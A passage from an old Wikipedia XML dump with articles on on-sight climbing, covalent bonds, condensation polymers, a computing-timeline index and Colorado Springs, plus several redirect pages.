[[Category:Climbing| ]]</text>
    </revision>
  </page>
  <page>
    <title>On-sight climbing</title>
    <id>6242</id>
    <revision>
      <id>23749741</id>
      <timestamp>2005-09-22T13:06:44Z</timestamp>
      <contributor>
        <username>MichaelHudson</username>
        <id>375102</id>
      </contributor>
      <text xml:space="preserve">In [[climbing]], '''climbing on sight''' means that a climber is attempting a route that they have never attempted before, nor have they seen anyone else attempt.

Prior knowledge of a route, for example having watched someone do the moves, or having heard them describe the climb, is called '''beta'''. This term likely comes from showing Betamax videos of someone making a climb to potential climbers of the same route.

A successful ascent with beta on the first attempt is called a '''beta flash'''. A successful attempt after falling off or otherwise trying the route is a [[red point]].

In some parts of the world, on-sight climbing is the preferred style for many climbers. It is a form of [[adventure climbing]] emphasizing the skills of route finding, quick thinking and problem solving.

[[Category:climbing]]

[[de:On-Sight-Klettern]]</text>
    </revision>
  </page>
  <page>
    <title>Cascade Mountain Range</title>
    <id>6243</id>
    <revision>
      <id>15904399</id>
      <timestamp>2003-04-24T21:46:22Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <comment>#REDIRECT [[Cascade Range]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cascade Range]]</text>
    </revision>
  </page>
  <page>
    <title>Cascades</title>
    <id>6244</id>
    <revision>
      <id>15904400</id>
      <timestamp>2003-03-12T23:56:42Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <comment>link to proper name</comment>
      <text xml:space="preserve">#REDIRECT [[Cascade Range]]</text>
    </revision>
  </page>
  <page>
    <title>Car Rally</title>
    <id>6245</id>
    <revision>
      <id>15904401</id>
      <timestamp>2005-06-03T22:52:24Z</timestamp>
      <contributor>
        <username>Loganberry</username>
        <id>83135</id>
      </contributor>
      <comment>Change redirect (&quot;Rally racing&quot; &gt; &quot;Rallying&quot;)</comment>
      <text xml:space="preserve">#REDIRECT [[Rallying]]</text>
    </revision>
  </page>
  <page>
    <title>Covalent bond</title>
    <id>6246</id>
    <revision>
      <id>41360232</id>
      <timestamp>2006-02-26T21:16:25Z</timestamp>
      <contributor>
        <ip>69.45.127.241</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{for|the software company|Covalent Technologies}}

[[Image:covalent.svg|right|thumb|160px|Covalently bonded hydrogen and carbon in a molecule of [[methane]]. One way of representing covalent bonding in a molecule is with a [[dot and cross diagram]].]]

'''Covalent bonding''' is an intramolecular form of [[chemical bond]]ing characterized by the sharing of one or more pairs of [[electron]]s between two species, producing a mutual attraction that holds the resultant [[molecule]] together.  [[Atom]]s tend to share electrons in such a way that their outer [[electron shell]]s are filled.  Such bonds are always stronger than the [[intermolecular force|intermolecular]] [[hydrogen bond]] and similar in strength to or stronger than the [[ionic bond]].

Covalent bonding most frequently occurs between atoms with similar [[electronegativity|electronegativities]].  For this reason, non-metals tend to engage in covalent bonding more readily since metals have access to [[metallic bonding]], where the easily-removed electrons are more free to roam about.  For non-metals, liberating an electron is more difficult, so sharing is the only option when confronted with another species of similar electronegativity. 

However, covalent bonding involving metals is particularly important, especially in industrial catalysis and process chemistry.   Many polymerization techniques require catalysis involving metal-organic covalent bonds.  In their more useful applications, metals often engage in more exotic covalent bonding, such as those between a metal and the &amp;sigma; bond of molecular [[hydrogen]], or between a metal and the &amp;pi; bond of an [[alkane]] or [[alkene]].

== History ==

[[image:electron_dot.svg|right|300px|]]

The idea of covalent bonding can be traced to [[Gilbert N. Lewis]], who in [[1916]] described the sharing of electron pairs between atoms. He introduced the so called ''[[Lewis Structure|Lewis Notation]]'' or ''[[Electron Dot Structure|Electron Dot Notation]]'' in which valence electrons (those in the outer shell) are represented as dots around the atomic symbols.  Pairs of electrons located between atoms represent covalent bonds.  Multiple pairs represent multiple bonds, such as double and triple bonds.  Some examples of Electron Dot Notation are shown in the following figure.  An alternative form, in which bond-forming electron pairs are represented as solid lines, is shown alongside. 

While the idea of shared electron pairs provides an effective qualitative picture of covalent bonding, [[quantum mechanics]] is needed to understand the nature of these bonds and predict the structures and properties of simple molecules. [[Walter Heitler|Heitler]] and [[Fritz London|London]] are credited with the first successful quantum mechanical explanation of a chemical bond, specifically that of [[molecular hydrogen]], in [[1927]].  Their work was based on the valence bond model, which assumes that a chemical bond is formed when there is good overlap between the [[atomic orbitals]] of participating atoms.  These atomic orbitals are known to have specific angular relationships between each other, and thus the valence bond model can successfully predict the bond angles observed in simple molecules.

== Bond Polarity ==

There are two types of covalent bonds: [[Polar molecule|Polar]] covalent bonds, and non-polar (or pure) covalent bonds. The most widely-accepted definition of polar covalence&lt;!--&quot;...is when...&quot; is NOT a suitable structure for definition--&gt; is the occurrence of the atoms involved of an [[electronegativity]] difference less than 1.67 (though some texts read 1.7), but greater than zero. A pure covalent bond is a bond that occurs when the atoms involved have an electronegativity difference of zero (though some texts read less than 0.2).

Pure covalent bonds (which are usually non-[[soluble]], are electrically non-[[conductive]], and tend to exist as individual molecules), and [[ionic bond]]s (which are soluble, are electrically conductive when molten or in solution, and, in general, tend to exist in a [[crystalline]] form) are on two opposite ends of the spectrum and have different properties. Polar covalent bonds fall in the middle and have properties of both.

== Bond order ==
[[Bond order]] is a term that describes the number of pairs of electrons shared between atoms forming a covalent bond.

'''1)''' The most common type of covalent bond is the '''single bond''', sharing  only one pair of electrons between two atoms. It usually consists of one [[sigma bond]].

All bonds with more than one shared pair are called '''multiple covalent bonds'''.

'''2)''' Sharing two pairs is called a '''double bond'''. An example is in [[ethylene]] (between the carbon atoms). It usually consists of one [[sigma bond]] and one [[pi bond]].

'''3)''' Sharing three pairs is called a '''triple bond'''. An example is in [[hydrogen cyanide]] (between C and N). It usually consists of one [[sigma bond]] and two [[pi bond]]s.

'''4)''' [[Quadruple bond]]s, though rare, exist.  Both [[carbon]] and [[silicon]] can theoretically form these; however, the formed molecules are explosively unstable. Stable quadruple bonds are observed as transition metal-metal bonds, usually between two transition metal atoms in [[organometallic]] compounds.  [[Molybdenum]] and [[Ruthenium]] are the elements most commonly observed with this bonding configuration. An example of a quadruple bond is also found in [[Di-tungsten tetra(hpp)]].

'''5)''' [[Quintuple bond]]s are found to exist in certain [[chromium]] dimers.

'''6)''' Sextuple bonds, of order 6, have also been observed in [[transition metal]]s in the gaseous phase at very low temperatures and are extremely rare.

Other more exotic bonds, such as [[three center bond]]s are known and defy the conventions of bond order.  It is also important to note that bond order is an integer value only in the elementary sense and is often fractional in more advanced contexts.

== Coordinate covalent bonds ==
A special case is called a [[dative covalent bond]], also known as a [[coordinate covalent bond]], which occurs when one atom gives both of the electrons in the bond.

== Resonance ==

Some structures can have more than one valid Lewis Dot Structure (for example, [[ozone]], O&lt;sub&gt;3&lt;/sub&gt;).  In an LDS diagram of O&lt;sub&gt;3&lt;/sub&gt;, the center atom will have a single bond with one atom and a double bond with the other.  The LDS diagram cannot tell us which atom has the double bond; the first and second adjoining atoms have equal chances of having the double bond.  These two possible structures are called [[chemical resonance|resonance structures]].  In reality, the structure of ozone is a '''resonance hybrid''' between its two possible resonance structures.  Instead of having one double bond and one single bond, there are actually two 1.5 bonds with approximately three electrons in each at all times.

A special resonance case is exhibited in [[aromatic]] rings of atoms (for example, [[benzene]]).  Aromatic rings are composed of atoms arranged in a circle (held together by covalent bonds) that alternate between single and double bonds according to their LDS.  In actuality, the electrons tend to be disambiguously and evenly spaced within the ring.  Electron sharing in aromatic structures is often represented with a ring inside the circle of atoms.

== Current theory ==

Today the valence bond model has been supplemented with the [[molecular orbital]] model.  In this model, as atoms are brought together, the ''atomic'' orbitals interact to form '''hybrid''' ''molecular'' orbitals.  These molecular orbitals are a cross between the original atomic orbitals and generally extend between the two bonding atoms.

Using quantum mechanics it is possible to calculate the electronic structure, energy levels, bond angles, bond distances, dipole moments, and frequency spectra of simple molecules with a high degree of accuracy.  Currently, bond distances and angles can be calculated as accurately as they can be measured (distances to a few pm and bond angles to a few degrees).  For small molecules, energy calculations are sufficiently accurate to be useful for determining thermodynamic heats of formation and kinetic activation energy barriers.

== See also ==

* [[Chemical bond]]
* [[Ionic bond]]
* [[Linear combination of atomic orbitals]]
* [[Metallic bonding]]

== External links ==

* [http://wps.prenhall.com/wps/media/objects/602/616516/Chapter_07.html Covalent Bonds and Molecular Structure]

[[Category:Chemical bonding]]

&lt;P&gt;

[[ar:رابطة تساهمية]]
[[bg:Ковалентна химична връзка]]
[[ca:Enllaç covalent]]
[[cs:Kovalentní vazba]]
[[da:Kovalent]]
[[de:Atombindung]]
[[et:Kovalentne side]]
[[es:Enlace covalente]]
[[fa:پیوند کووالانسی]]
[[fr:Liaison covalente]]
[[he:קשר קוולנטי]]
[[it:Legame covalente]]
[[nl:Covalente binding]]
[[ja:共有結合]]
[[nn:Kovalent binding]]
[[pl:Wiązanie kowalencyjne]]
[[pt:Ligação covalente]]
[[sk:Kovalentná väzba]]
[[fi:Kovalenttinen sidos]]
[[sv:Kovalent bindning]]
[[th:พันธะโควาเลนต์]]
[[uk:Ковалентний зв'язок]]
[[zh:共价键]]</text>
    </revision>
  </page>
  <page>
    <title>Condensation polymer</title>
    <id>6247</id>
    <revision>
      <id>31491953</id>
      <timestamp>2005-12-15T17:46:48Z</timestamp>
      <contributor>
        <username>Rsolimeno</username>
        <id>470688</id>
      </contributor>
      <text xml:space="preserve">'''Condensation polymers''' are any class of polymers formed through a [[condensation reaction]], releasing (or condensing) a small molecule by-product such as water or methanol, as opposed to [[addition polymer]]s which involve the reaction of [[unsaturated monomer]]s. Types of condensation polymers include [[polyamide]]s, [[polyacetal]]s and [[polyester]]s.

Condensation polymerization, a form of [[step-growth polymerization]], is a process by which two molecules join together, with the loss of a small molecule which is often water. The type of end product resulting from a condensation polymerization is dependent on the number of functional end groups of the monomer which can react. 

Monomers with only one reactive group terminate a growing chain, and thus give end products with a lower molecular weight. Linear polymers are created using monomers with two reactive end groups and monomers with more than two end groups give three dimensional polymers which are crosslinked.

[[Cross-linking]] often involves joining monomers with an -OH (hydroxyl) group and a freely ionized -H on either end (such as a hydrogen from the -NH&lt;sub&gt;2&lt;/sub&gt; in [[nylon]] or [[proteins]]). Normally, two or more different monomers are used in the reaction. The bonds between the hydroxyl group, the hydrogen atom and their respective atoms break forming water from the hydroxyl and hydrogen, and the polymer.

[[Polyester]] is created through [[ester]] linkages between monomers, which involve the functional groups [[carboxyl]] and [[hydroxyl]] (an organic acid and an alcohol monomer). 

[[Nylon]] is another common condensation polymer. It can be manufactured by reacting [[amine|di-amines]] with carboxyl derivatives. In this example the derivative is a [[carboxylic acid|di-carboxylic acid]], but [[acyl chloride|di-acyl chlorides]] are also used.  Another approach used is the reaction of di-functional monomers, with one amine and one carboxylic acid group on the same molecule:

[[image:con_polymer.png]]

The carboxylic acids and amines link to form [[peptide bond]]s, also known as [[amide]] groups. [[protein|Proteins]] are condensation polymers made from [[amino acid]] monomers. Carbohydrates are also condensation polymers made from sugar monomers such as glucose and galactose. 

Condensation polymerization is occasionally used to form simple hydrocarbons. This method, however, is expensive and ineffective, so the [[addition polymer]] of ethene (polyethylene) is generally used.

Condensation Polymers, unlike [[Addition polymer]]s are bio-degradable. The peptide or ester bonds between monomers can be hydrolysed by acid catalysts or bacterial [[enzyme]]s breaking the polymer chain into smaller pieces.

The most commonly known condensation polymers are proteins, fabrics such as nylon, [[silk]], or [[polyester]].

:''See also:'' [[Biopolymer]], [[Polyester]], [[Polyamide]]

[[Category:Polymers]]</text>
    </revision>
  </page>
  <page>
    <title>Cosmic rays</title>
    <id>6248</id>
    <revision>
      <id>15904404</id>
      <timestamp>2002-04-04T18:17:28Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>singular, please =&amp;gt; Cosmic ray</comment>
      <text xml:space="preserve">#REDIRECT [[Cosmic ray]]</text>
    </revision>
  </page>
  <page>
    <title>Timeline of computing</title>
    <id>6249</id>
    <revision>
      <id>41543598</id>
      <timestamp>2006-02-28T01:29:08Z</timestamp>
      <contributor>
        <ip>210.8.213.140</ip>
      </contributor>
      <text xml:space="preserve">{{history of computing}}

This article presents a detailed '''[[timeline]] of events in the history of [[computing]]'''. For a narrative explaining the overall developments, see the related [[History of computing]].

'''Computing timelines''': [[Timeline of computing 2400 BC-1949|2400 BC-1949]], [[Computing timeline 1950-1979|1950-1979]], [[Computing timeline 1980-1989|1980-1989]], [[Computing timeline 1990-forward|1990-present]]

==Resources==
*Stephen White: ''A Brief History of Computing'', http://ox.compsoc.net/~swhite/history.html. An excellent Computer history site; the above is a modified version of his timeline, used with [[History of computing/Permission|permission]].
*''The Computer History in time and space, Graphing Project'' tries to build a graphical image of computer history, in particular [[operating system]]s, http://comp-hist.sourceforge.net/

==See also==
*[[History of computing hardware]] &amp;ndash; up to third generation ([[1960s]])
*[[History of computing hardware (1960s-present)]] &amp;ndash; third generation and later
*[[Programming language timeline]]
*[[Operating systems timeline]]
*[[Commercial computer apps timeline]]
*[[Computer science timeline]]
*[[History of the graphical user interface]]
*[[History of the Internet]]

==Graphical timeline==
{{Timeline_History_of_Computing}}

[[Category:Computing timelines|Computing]]
[[Category:History of computing]]

[[fr:Chronologie informatique]]</text>
    </revision>
  </page>
  <page>
    <title>Colorado Springs, Colorado</title>
    <id>6250</id>
    <revision>
      <id>41685672</id>
      <timestamp>2006-03-01T01:28:54Z</timestamp>
      <contributor>
        <ip>24.88.87.174</ip>
      </contributor>
      <comment>/* Demographics */</comment>
      <text xml:space="preserve">{{Infobox City |
official_name = Colorado Springs, Colorado |
nickname = The Springs |
image_flag = Us-co-cs.gif |
image seal = |
image_map = COMap-doton-ColoradoSprings.PNG |
image_skyline = Colorado springs downtown.jpg |
map_caption = Location in the state of [[Colorado]] |
subdivision_type = [[Counties of the United States|County]] |
subdivision_name = [[El Paso County, Colorado|El Paso]] |
leader_title = [[Mayor]] |
leader_name = [[Lionel Rivera]] |
area_magnitude = 1 E9 |
area_total = 482.1 |
area_land = 481.1 |
area_water = 1.0 |
population_as_of = 2004 |
population_note = 572,264 ([[List of metropolitan areas by population|metro area]]) |
population_total = 369,363 (city proper) |
population_density = 1,942.9 |
timezone = [[Mountain Standard Time|MST]] |
utc_offset = -7 |
timezone_DST = [[Mountain Daylight Time|MDT]] |
utc_offset_DST = -6 |
latd=38|latm=51|lats=48|latNS=N|
longd=104|longm=47|longs=31|longEW=W|
&lt;!-- latitude = 38&amp;deg;51'48&quot; N |
longitude = 104&amp;deg;47'31&quot; W | --&gt;
website = [http://www.springsgov.com/ http://www.springsgov.com/] |
footnotes = |
}}
'''Colorado Springs''' is a mid-sized city located just east of the geographic center of the state of [[Colorado]] in the [[United States]].  It has a population of 360,890 (according to the [[2000]] census) and is the second largest city in Colorado.  At elevation 6,035 feet, it is situated near the base of one of the most famous American peaks, [[Pikes Peak]], on the east side of the [[Rocky Mountains]].  The capital of Colorado, [[Denver, Colorado|Denver]], is 68 miles to the north.  The city is the [[county seat]] of [[El Paso County, Colorado|El Paso County]]{{GR|1}}. 

Today Colorado Springs has many features of a modern urban area, such as parks, bike trails, urban open-area spaces, business and commerce, theatres and other entertainments.  It was established as a posh resort community and the tourist industry is strong and offers many activities and attractions.  It also has problems like overcrowded roads and highways, crime, and government budget issues.  There are a number of military installations in the area, high-tech industry, and many Christian organizations and churches make their headquarters there.

== History ==

=== Founded as a resort community ===

Colorado Springs was founded in August [[1871]] by [[General William Palmer]], with the intention of creating a high quality resort community, and was nicknamed at the time &quot;Little London&quot;.  Nearby [[Pikes Peak]] and the [[Garden of the Gods]] made the city's location a natural.

Within two years the Antlers Hotel opened, welcoming [[United States|U.S.]] and international travellers as well as health-seekers looking for the high altitude and dry climate, and Palmer's visions of a thriving, quality resort town were coming true.

[[America the Beautiful]] was written by visiting English professor [[Katharine Lee Bates]] in August [[1893]], while she stayed at the Antlers Hotel after visiting the top of nearby [[Pikes Peak]].

=== General William Palmer and Spencer Penrose ===

General Palmer had quite a personal history, being an [[American Civil War]] General for the Union, a POW in that war, the construction manager for the [[Kansas Pacific Railroad]] which brought railroad service to the Pikes Peak region, and then founded and owned the [[Denver &amp; Rio Grande Railroad]], a critical regional railroad.  After founding Colorado Springs he made many grants of land to many important civic institutions in the community.

[[Image:hogbckrdg.JPG|thumb|left|240px|Garden of the Gods, public park famous for towering red rock formations.]]
Palmer and his wife saw Colorado Springs develop into one of the most popular travel destinations in the United States.

Palmer built his dream home [[Glen Eyrie]] northwest of [[Garden of the Gods]], living there for many years before and after his retirement around the turn of the century.  Both the town of [[Palmer Lake, Colorado|Palmer Lake]] and a geographic feature called the Palmer Divide (and other more minor features) are named after him, and a bronze sculpture of Palmer on his horse is prominently displayed downtown.

[[Spencer Penrose]] also made his mark on Colorado Springs in its early years--though not until two decades after its founding. Penrose started as a ladies-man and an adventurer who made a huge fortune in the nearby gold fields of nearby [[Cripple Creek]] in the 1890s, then married Julie Villiers Lewis McMillan, and settled down considerably.

Penrose used his vast amounts of money to invest in other national mineral concerns, financed construction of the [[Broadmoor Hotel]], the [[Cheyenne Mountain Zoo]], the [[Will Rogers Shrine of the Sun]], the [[Pikes Peak Highway]], an important local hospital, and established the El Pomar Foundation, which still oversees many of his contributions in Colorado Springs today.

=== Old Colorado City ===

Colorado Springs' present downtown location, where General Palmer first founded the city, is due to Palmer's dislike of nearby rough-and-ready Colorado City and its many saloons; Palmer ensured his new city stayed alcohol free by buying a huge tract of land to the east of Colorado City&amp;#151;and in fact, Colorado Springs stayed dry until the end of [[Prohibition]] in [[1933]].

In its earliest days of [[1859]]-[[1860]], Colorado City was a major supply route of supplies for miners in the [[South Park (Colorado basin)|South Park]], where a major strike in the [[Colorado Gold Rush]] was found.  Routes further north from present-day Denver's area proved more effective, and as only a few very minor gold finds were made in the Pikes Peak region, commerce instead shifted towards serving the agriculture of Colorado's eastern plains.  (Eventually General Palmer's Denver &amp;amp; Rio Grand Railroad would snake from Denver into the South Park.)

Colorado City also briefly served as Colorado's territorial capital starting on [[July 7]], [[1862]]. By this time the town's fortunes were already waning. The territorial legislature met in a log cabin on Colorado Avenue, and on [[August 14]], 1862 the legislature approved an act which named [[Golden, Colorado|Golden]] as the territorial capital. Colorado City was never recognized by the Federal government as the territorial capital.

In [[1891]], very major gold strikes happened in Cripple Creek and Victor, on the other side of Pike's Peak from Colorado City&amp;#151;and suddenly supplies were needed for this last major phase of the Colorado Gold Rush and the town's big boom was on. Eventually Colorado City was processing much of the gold ore as Palmer's railroads connected the areas. Colorado City became a booming town with a reputation for [[bar (establishment)|saloons]], [[prostitution]], and alcohol-fueled fun.  Quite a contrast to General Palmer's more genteel community across the river to the east!

The flow of gold and silver ebbed as the decades passed, and Colorado City's economic fortunes faded with it; the miners and those who processed the ore left or retired.  Now &quot;Old Colorado City&quot; is a quaint old Victorian and brick neighborhood in the west part of Colorado Springs, with [[National Historic District]] status and a bustling main street of businesses, tourism, antique shops, and Victorian charm.

== Geography and climate ==
=== Geography ===
Colorado Springs is located at 38&amp;deg;51'48&quot; North, 104&amp;deg;47'31&quot; West (38.863443, -104.791914){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 482.1 [[square kilometre|km&amp;sup2;]] (186.1 [[square mile|mi&amp;sup2;]]).  481.1 km&amp;sup2; (185.7 mi&amp;sup2;) of it is land and 1.0 km&amp;sup2; (0.4 mi&amp;sup2;) of it is water.  The total area is 0.21% water.

=== Climate ===
Colorado Springs averages 250 days of sunshine per year, and receives 15.42 inches of annual [[precipitation]]. Average [[snow|snowfall]] for the area (included in the previous annual precipitation calculation) is 5.5&quot; in November, 5.7&quot; in December, 5.0&quot; in January, 5.1&quot; in February, 9.4&quot; in March, and 6.3&quot; in April. Average January low and high [[temperatures]] are 14&amp;deg;F/ 42&amp;deg;F (-10&amp;deg;C/ 5.5&amp;deg;C) and average July low and high temperatures are 55&amp;deg;F/ 85&amp;deg;F (12.7&amp;deg;C/ 29.4&amp;deg;C). The hottest temperature ever recorded in Colorado Springs was 101&amp;deg;F (38.3&amp;deg;C) on [[June 7]], [[1874]] and the coldest temperature ever recorded was -32&amp;deg;F (-35.5&amp;deg;C) on [[January 20]], [[1883]].

== Demographics ==
[[Image:springssign.jpg|thumb|right|293px|Colorado Springs sign.]]
As of the [[census]]{{GR|2}} of [[2000]], there are 360,890 people, 141,516 households, and 93,117 families residing in the city.  The [[population density]] is 750.2/km&amp;sup2; (1,942.9/mi&amp;sup2;).  There are 148,690 housing units at an average density of 309.1/km&amp;sup2; (800.5/mi&amp;sup2;).  The racial makeup of the city is 80.66% [[Race (U.S. Census)|White]], 6.56% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.88% [[Race (U.S. Census)|Native American]], 2.82% [[Race (U.S. Census)|Asian]], 0.21% [[Race (U.S. Census)|Pacific Islander]], 5.01% from [[Race (U.S. Census)|other races]], and 3.85% from two or more races.  12.01% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

There are 141,516 households out of which 34.0% have children under the age of 18 living with them, 51.5% are [[Marriage|married couples]] living together, 10.6% have a female householder with no husband present, and 34.2% are non-families. 27.0% of all households are made up of individuals and 6.9% have someone living alone who is 65 years of age or older.  The average household size is 2.50 and the average family size is 3.06.

In the city the population is spread out with 26.5% under the age of 18, 10.3% from 18 to 24, 32.8% from 25 to 44, 20.8% from 45 to 64, and 9.6% who are 65 years of age or older.  The median age is 34 years.  For every 100 females there are 97.8 males.  For every 100 females age 18 and over, there are 95.2 males.

The median income for a household in the city is $45,081, and the median income for a family is $53,478. Males have a median income of $36,786 versus $26,427 for females. The [[per capita income]] for the city is $22,496.  8.7% of the population and 6.1% of families are below the [[poverty line]].  Out of the total population, 10.8% of those under the age of 18 and 7.2% of those 65 and older are living below the poverty line.

==Attractions and entertainment==

===Tourism and attractions===
[[Image:Downtown Colorado Springs.jpg|thumb|right|293px|Downtown Colorado Springs.]]
In addition to Pikes Peak, there are many other tourist attractions in the area, including:
&lt;!-- Please keep this list in alphabetical order.  Thanks! --&gt;
* [[American Numismatic Association]]
* [[Cave of the Winds (Colorado)|Cave of the Winds]]
* The [[Cheyenne Mountain Zoo]], billed as the nation's only 'mountain zoo,' is situated, essentially, on the side of Cheyenne Mountain.
* [http://www.shopthecitadel.com/ Citadel Mall] and [http://www.chapelhillsmall.com/html/index5.asp Chapel Hills Mall]
* [http://www.flyingw.com/ Flying W Ranch]
* [[Security Service Field]], home of the baseball club Colorado Springs Sky Sox, AAA affiliate of the Colorado Rockies
* [[Focus on the Family]] visitor center and tours of facilities
* [[Garden of the Gods]], a collection of large red [[sandstone]] formations
* [[Glen Eyrie]], home to [[William Jackson Palmer]], the founder of Colorado Springs, now owned by [[The Navigators (organization)|The Navigators]] - tours available
* [[Manitou Cliff Dwellings]]
* [[Michelle's]], a 50+ year old ice cream parlor featured in [[Life Magazine]]
* Old Colorado City district
* [http://www.springsgov.com/SectionIndex.asp?SectionID=9 Pioneer's Museum]
* [[ProRodeo Hall of Fame]] and Museum of the American Cowboy
* [[Seven Falls]]
* [[United States Air Force Academy]]
* [[United States Olympic Training Center]]

According to the Colorado Springs Convention &amp; Visitors Bureau, the area attracts some six million visitors yearly.

Colorado Springs is served by the [[Colorado Springs Airport]].

=== Sports teams ===

*The [[Colorado Springs Sky Sox]] [[baseball]] team, in the Pacific Coast League (AAA classification), a [[Minor league baseball|minor league]] affiliate of the [[Major League Baseball|major league]] [[Colorado Rockies]].

*The [[Colorado Springs Blizzard]] soccer team, in the [[Premier Development League]] a division of the [[United Soccer Leagues]]

*The local colleges feature many sports teams.  Notable among them are the following nationally-competitive NCAA [[Division I]] teams: Air Force Academy (Fighting Falcons) Football and Hockey, Colorado College (Tiger) Hockey, and Colorado College (Tiger) Women's Soccer.

* Colorado Springs Cricket Club represents the city in Colorado Cricket League. Formerly called One World Cricket Club, they have won the state championship three times (1999, 2002, 2005) and been in the top four teams in the state for last four consecutive years.

* The [[Pikes Peak International Raceway]] was purchased by competing racing interests and has been shut down.

==Economy, Religious Institutions, and Education==

===Industry and military===

These are some of the larger employers, military facilities, and commercial facilities:
*[[United States Air Force Academy]] - Air Force
*[[Cheyenne Mountain Air Station]] - [[Air Force]]: a major military center, home of NORAD ([[North American Aerospace Defense Command]]), it is housed in [[Cheyenne Mountain]], south of Pikes Peak.
*[[Peterson Air Force Base]] - Air Force
*[[Schriever Air Force Base]] - Air Force
*[[Fort Carson]] - Army
*[[MCI]] - Telecommunications - has a fairly large engineering presence
*[[HP]] - Computing - large sales, support. and [[SAN]] storage engineering center.  The location was built by [[Digital Equipment Corporation]], renamed [[Compaq]] in the 1998 acquisition of Digital, and finally renamed [[HP]] after the 2002 merger.
*[[SNIA]] - Computing - home of the [[SNIA]] Technology Center
*[[Agilent]] - Tech manufacturing - [[HP]] operated a large facility in the area that was later renamed Agilent in the spinoff.
*[[Intel]] - Chip fabrication - bought a fabrication plant from Rockwell International in 2000 and now run as Fab 23 making flash memory chips.  Intel had plans for building a second location, but abandoned the idea due to the falling economy in 2001.
*[[Atmel]] - Chip Fabrication

===Religious Institutions===

In recent years, Colorado Springs has attracted a large influx of [[Evangelicalism|Evangelical Christians]] and organizations.  Evangelical groups with headquarters at Colorado Springs include [[Focus on the Family]] (a Christian organization active on many social and political issues), [[Compassion International]], [[The Navigators (organization)|The Navigators]], [[Youth_with_a_mission|Youth with a Mission]], [[Young Life]] and the [[International Bible Society]], earning the city the tongue-in-cheek nickname &quot;the Protestant Vatican&quot;. 

At one time Colorado Springs was counted to be the national headquarters for 81 different religious organizations.

The city and surrounding areas also host hundreds of churches and synagogues of many faiths and denominations, including a mosque.

===Education===
Universities, colleges and special schools include:
* The [[Colorado College]], founded in [[1874]]
* The [[Colorado School for the Deaf and the Blind]], also founded in 1874
* The [[United States Air Force Academy]], established upon its present site in [[1958]]
* The [[University of Colorado at Colorado Springs]] (UCCS), established upon its present Cragmor grounds in [[1965]]
* [[Pikes Peak Community College]]
* [[Nazarene Bible College]]


==Trivia==
*''[[Dr. Quinn, Medicine Woman]]'', an [[Emmy Award]]-winning dramatic television series starring [[Jane Seymour (actress)|Jane Seymour]], was set in this town.  Though there was some historical accuracy, the majority of the events and settings were fictional, and actual filming was done at the Paramount Ranch near [[Agoura Hills, California]].
*[[Kelsey Grammer]]'s  sister was murdered after leaving a [[Red Lobster]] in Colorado Springs, Colorado [http://www.crimelibrary.com/notorious_murders/classics/karen_grammer/8.html?sect=13].
*[[Lon Chaney, Sr.|Lon Chaney]] was born in Colorado Springs on [[April 1]] [[1883]].  The [[Lon Chaney Theatre]] is named for him.
*[[Cassandra Peterson]] (a.k.a. [[Elvira]], Mistress of the Night) attended [[Palmer High School]] in downtown Colorado Springs.  She graduated in the class of [[1969]].
*[[Leeann Tweeden]] worked briefly as a [[waiter|waitress]] at a local [[Hooters]] in the [[1991]]-[[1992]] timeframe.
*[[Bobby Unser]] was born in Colorado Springs on [[February 20]] [[1934]].
*Actors [[Michael Boatman]] and [[Chase Masterson]] are from Colorado Springs.
*The [[television program|TV series]] ''[[Stargate SG-1]]'' has several episodes which at least partially take place in Colorado Springs; additionally SGC is based out of nearby Cheyenne Mountain, and most of the team members are shown to reside in Colorado Springs.
*In the [[Film|movie]] ''[[The Sum Of All Fears]]'' the Russian President asks a military advisor how many people live in Colorado Springs, as he weighs the ramifications in the use of [[nuclear weapons]] against the city.  This highlights the strategic importance of the military-centered city.
*The [[Film|movie]] ''[[Independence Day (movie)|Independence Day]]'' makes reference to the destruction of [[NORAD]], located in the city.
*Serbian-born American physicist [[Nikola Tesla]] built a laboratory in 1899 for his experiments in the wireless transmission of electrical power. Reportedly he shot lightning from his lab back into the sky during a lightning storm.
*[[Robert A. Heinlein]], noted sci-fi writer during the genre's Golden Age, lived in Colorado Springs during part of his career.  His novel ''[[The Moon Is a Harsh Mistress]]'' featured at one point the rebel moon government raining rock-filled grain cannisters down on [[NORAD]]'s headquarters inside Cheyenne Mountain, incidentally destroying Colorado Springs because of the great amount of [[kinetic energy]] released on impact.
*''[[Peanuts]]'' creator [[Charles M. Schulz]] lived briefly in Colorado Springs in 1951. He painted a wall of his home with some ''Peanuts'' characters. The wall was removed from the home in 2001 and donated to the Charles M. Schulz Museum in Santa Rosa, California.

== Sister Cities ==

Sister Cities of Colorado Springs include [[Fujiyoshida, Yamanashi|Fujiyoshida, Japan]] (1962); [[Kaohsiung|Kaohsiung, Taiwan]] (1983); [[Smolensk|Smolensk, Russia]] (1993); [[Bishkek, Kyrgyzstan]] (1994); [[Nuevo Casas Grandes|Nuevo Casas Grandes, Mexico]] (1996); and [[City of Bankstown|Bankstown, Australia]] (1999). Colorado Springs' sister city organization began in when Colorado Springs became partners with Fujiyoshida.  The ''torii'' gate erected to commemorate the relationship stands at the corner of Bijou Street and Nevada Avenue, and is one of the city's most recognizable landmarks. The ''torii'' gate, crisscrossed bridge and shrine, located in the median between Platte and Bijou Streets in downtown Colorado Springs, were a gift to Colorado Springs, erected in [[1966]] as a token of friendship between the two communities. A plaque near the ''torii'' gate states that &quot;the purpose of the sister city relationship is to promote understanding between the people of our two countries and cities&quot;. The Fujiyoshida Student exchange program has become an annual event.

==See also==   
*[[Keith Lockhart]], former conductor of the Pikes Peak Symphony
*[[Try Redemption]], a local Colorado Springs [[death metal]] band
*The [[Broadmoor Hotel]], a 5-star hotel and resort in SW Colorado Springs

== Sources/external links ==
* [http://www.colorado.gov/dpa/doit/archives/cap/locate.htm Early Capitol and Legislative Assembly Locations]
* [http://ghostdepot.com/rg/mainline/royal%20gorge%20route/colorado%20springs.htm Denver &amp; /Rio Grande/Colorado Springs, CO]
